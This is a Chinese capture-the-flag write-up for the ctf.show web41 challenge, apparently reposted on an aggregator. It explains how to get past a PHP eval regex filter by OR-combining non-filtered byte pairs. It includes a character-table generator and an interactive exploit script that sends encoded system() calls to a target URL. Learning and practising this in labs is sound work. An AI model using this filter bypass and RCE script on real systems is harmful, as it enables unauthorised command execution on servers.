web41笔记(eval命令执行+过滤了数字和字⺟(因为后⾯/i对⼤⼩写不敏感),并且不能⽤异或、取反、⾃增等操作(过滤$、+、-、^、~),但是可以⽤|(或))

news/2025/3/14 23:17:55/文章来源:https://www.cnblogs.com/justdoIT20680/p/18773106
<?php/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show*/if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

这道题过滤了数字和字⺟(因为后⾯/i对⼤⼩写不敏感),并且不能⽤异或、取反、⾃增等操作(过滤$、+、-、^、~),但是可以⽤|(或)

preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c) 他这⾥过滤的数字指的是ascii类型的,所以如%09(tab)这种是没有过滤的,于是可以⽤此来构造出想⽤的字⺟和数字。

(1)python 可用字符生成脚本 preg 是题目的正则匹配规则,在 ASCII 可见字符范围内,先排除掉正则表达式匹配的字符,将其他可用的字符进行按位或运算,再将运算得到的可见字符,以及参与或运算结果为可见字符的组合转为 16 进制拼接 % 后写入 txt 文件。

import re# 定义给定的正则表达式模式
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'# 初始化内容字符串
content = ''# 循环遍历ASCII码表中的所有字符对
for i in range(256):for j in range(256):# 如果字符i和j不匹配给定的正则表达式模式if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):# 将字符i和j进行按位或运算,得到新的字符kk = i | j# 如果字符k是ASCII可见字符(范围在32到126之间)if k >= 32 and k <= 126:# 将字符i和j转换为十六进制形式,并拼接成url编码a = '%' + hex(i)[2:].zfill(2)b = '%' + hex(j)[2:].zfill(2)# 将k对应的字符和i、j转换拼接结果写入txt文件content += (chr(k) + ' '+ a + ' ' + b + '\n')# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建
f = open('rce_or.txt', 'w')
# 将生成的内容写入文件
f.write(content)
# 关闭文件
f.close()

运行即可生成相关的可用字符: 我们大概来说下这个生成的结果的意思:以或运算为例 结果分为三个部分,最左边的是通过或运算得到的新字符,并且是经过了筛选的,都是可见字符; 另外两个以百分号开头的是来自于用于进行或运算生成新字符的,这两个字符是从正则匹配之外的 ASCII 字符中筛选出来的。 目前我大致理解为是将两个可用的字符或操作后生成了我们需要使用的但是被过滤掉的字符。

 

利用前面生成的可用字符对进行远程命令执行(RCE)

exp 攻击脚本:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os# os.system("php rce_or.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):print("=" * 50)print('USER:python exp.py <url>')print("eg:  python exp.py http://ctf.show/")print("=" * 50)exit(0)
url = argv[1]def action(arg):s1 = ""s2 = ""for i in arg:f = open("rce_or.txt", "r")  # 这里替换成你自己生成的可用字符文件位置while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"|\"" + s2 + "\")"return (output)while True:param = action(input("\n[+] your function:")) + action(input("[+] your command:"))data = {'c': urllib.parse.unquote(param)  # 实际题目请求的参数名,这里是c
    }r = requests.post(url, data=data)print("\n[*] result:\n" + r.text)

urllib.parse.unquote 是 Python 标准库中 urllib.parse 模块的一个函数,用于将 URL 编码的字符串解码成原始的字符串。URL 编码是一种将非ASCII字符#和某些特殊字符转换为一种安全形式的方法,以便它们可以在URL中传输

可以看到这里传入的内容 URL 解码后的东西都不在正则匹配中,

所以不会被检测: %13%19%13%14%05%0d %60%60%60%60%60%60%0c%13 %60%60

正则匹配的是 URL 解码后的东西,不要觉得传入的数字会被检测到。

URL 解码后的这两部分: ("\x13\x19\x13\x14\x05\r"|"``````")("\x0c\x13"|"``")

进行或运算后得到的东西就是我们前面输入的内容:

system 和 ls 也就是说它先绕过了正则匹配的检测,但是通过或运算最后又生成了正则匹配的东西。

最后再补充一个知识点: system('ls'),('system')('ls'),(system)('ls'),('system')(ls) 都是可以执行的。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/898933.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

快速沃尔什变换CF662C

FWT 快速沃尔什变换(FWT)是解决位运算卷积问题,即给定序列 \(a,b\),求序列 \(c\) 满足\(c_i=\sum_{i=j\oplus k}A_j\times B_k\),其中 \(\oplus\) 为一种位运算符号[1]。 因为本文是讲题的前置,所以这里只讲异或卷积,也是最难的一个。 规定 \(popcnt(x)\) 为 \(x\) 二进…

VMware中安装CentOS7

转自:https://www.cnblogs.com/javaxubo/p/18455425 centos7下载地址:https://mirrors.aliyun.com/centos/7/isos/x86_64/ 1、打开“VMware Workstation“软件,选择”创建新的虚拟机2、选择“典型”选项,然后下一步。3、选择“稍后安装操作系统”,点击下一步。4、客户机操…

3.14日报

所花时间:8h 代码量(行):220 博客量:6 了解到的知识点: 计算机网络:早上详细讲解了链路层部分,三个基本问题:封装成帧,透明传输,差错检测。 其中着重讲解了有关计算的二进制序列,随堂练习更是一半的计算 然后就是下午的软件测试 要做一个地铁售票

使用fastapi部署网页模板

背景 如果你想快速实现一个网站的前后端的部署,那么现成的站点模板是必须的,如果我们使用nginx做反向代理可以实现部署静态网站,如果我想相对请求或者页面有一些更新,那么就需要用到后端框架,这里我们使用fastapi去代理静态资源同时将模板的请求根据我们的需求进行动态的返…

第四周第五天

所用时间:270分钟 代码量(行):174 博客量(篇):1 了解到的知识点: 1.课堂测试 编写了简单的地铁购票系统app,实现了按站计算购票费用,将项目打包为apk后再手机端运行成功 学习了如何将项目打包为apk文件,如下图所示2.计算机网络

Apache Tomcat RCE漏洞复现(CVE-2025-24813)

今日官方披露 Apache Tomcat partial PUT文件上传反序列化漏洞。在 CVE-2025-24813 中tomcat开启文件会话持久化,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化。漏洞描述 该漏洞的核心在于不完整PUT请求上传时 Tomcat 会使用了一个基于用户提供的文件名和…

SparkSubmit提交任务到yarn及报错解决方案

SparkSubmit提交任务到yarn及报错解决方案@目录一、提交任务代码二、Linux提交可能出现的问题及解决方案情况1:JSON解析异常情况2:java.lang.InstantiationException spark.sql.driver情况3 中kafka:java.lang.NoClassDefFoundError: org/apache/kafka/clients/producer/Cal…

线程异步处理任务

实际开发中,service层可能会执行多个步骤,那有些步骤可能和主任务没有太大关联,那我们可以采用线程去处理,这样就提高响应速度,当然也可以采用MQ,此处介绍的是用线程处理 1、controller层@GetMapping("/thread")public void thread(){demo1Service.process();}…

08. 通用定时器

一、什么是通用定时器ESP32 S3 芯片配备了两个通用定时器组,每组均包含两个通用定时器和一个主系统看门狗定时器。每个通用定时器都具备多个通道。通过明确指定定时器号和通道号,用户可以精准地选定所需的定时器和通道。每个定时器均支持独立编程,并且具备微秒级的精确时间中…

全链路赋能游戏鸿蒙化适配,鸿蒙游戏开发者服务焕新升级

3月14日,华为游戏中心在成都开展了鸿蒙游戏开发者服务日线下活动。本次活动吸引了百余位游戏厂商代表以及开发者参与。华为一线技术专家团队与众多游戏开发者进行了面对面的深入交流,聚焦游戏鸿蒙化全流程技术实践,通过专家授课、案例解析与现场互动,为开发者提供从技术适配…

多线程程序设计(三)——Guarded Suspension

本文摘要了《Java多线程设计模式》一书中提及的 Guarded Suspension 模式的适用场景,并针对书中例子(若干名称有微调)给出一份 C++ 参考实现及其 UML 逻辑图,也列出与之相关的模式。 ◆ 适用场景 当线程访问的共享数据没有准备好时,让该线程进入等待状态,直到数据被准备好…

西部数据企业级硬盘HC310开盘数据恢复,300G左右数据量耗时半年

这块西数4T企业级硬盘HC310是杭州某研究所送过来的,突发损坏不识别,通电后咯吱咯吱敲盘异响,磁头坏了。这款企业级硬盘目前开盘成功率一般,因为磁头适配很困难,需要反复更换磁头,备件成本很高。这种硬盘的开盘难度跟服务器SCSI或SAS硬盘有的一拼,没有经验甚至拆一个废一…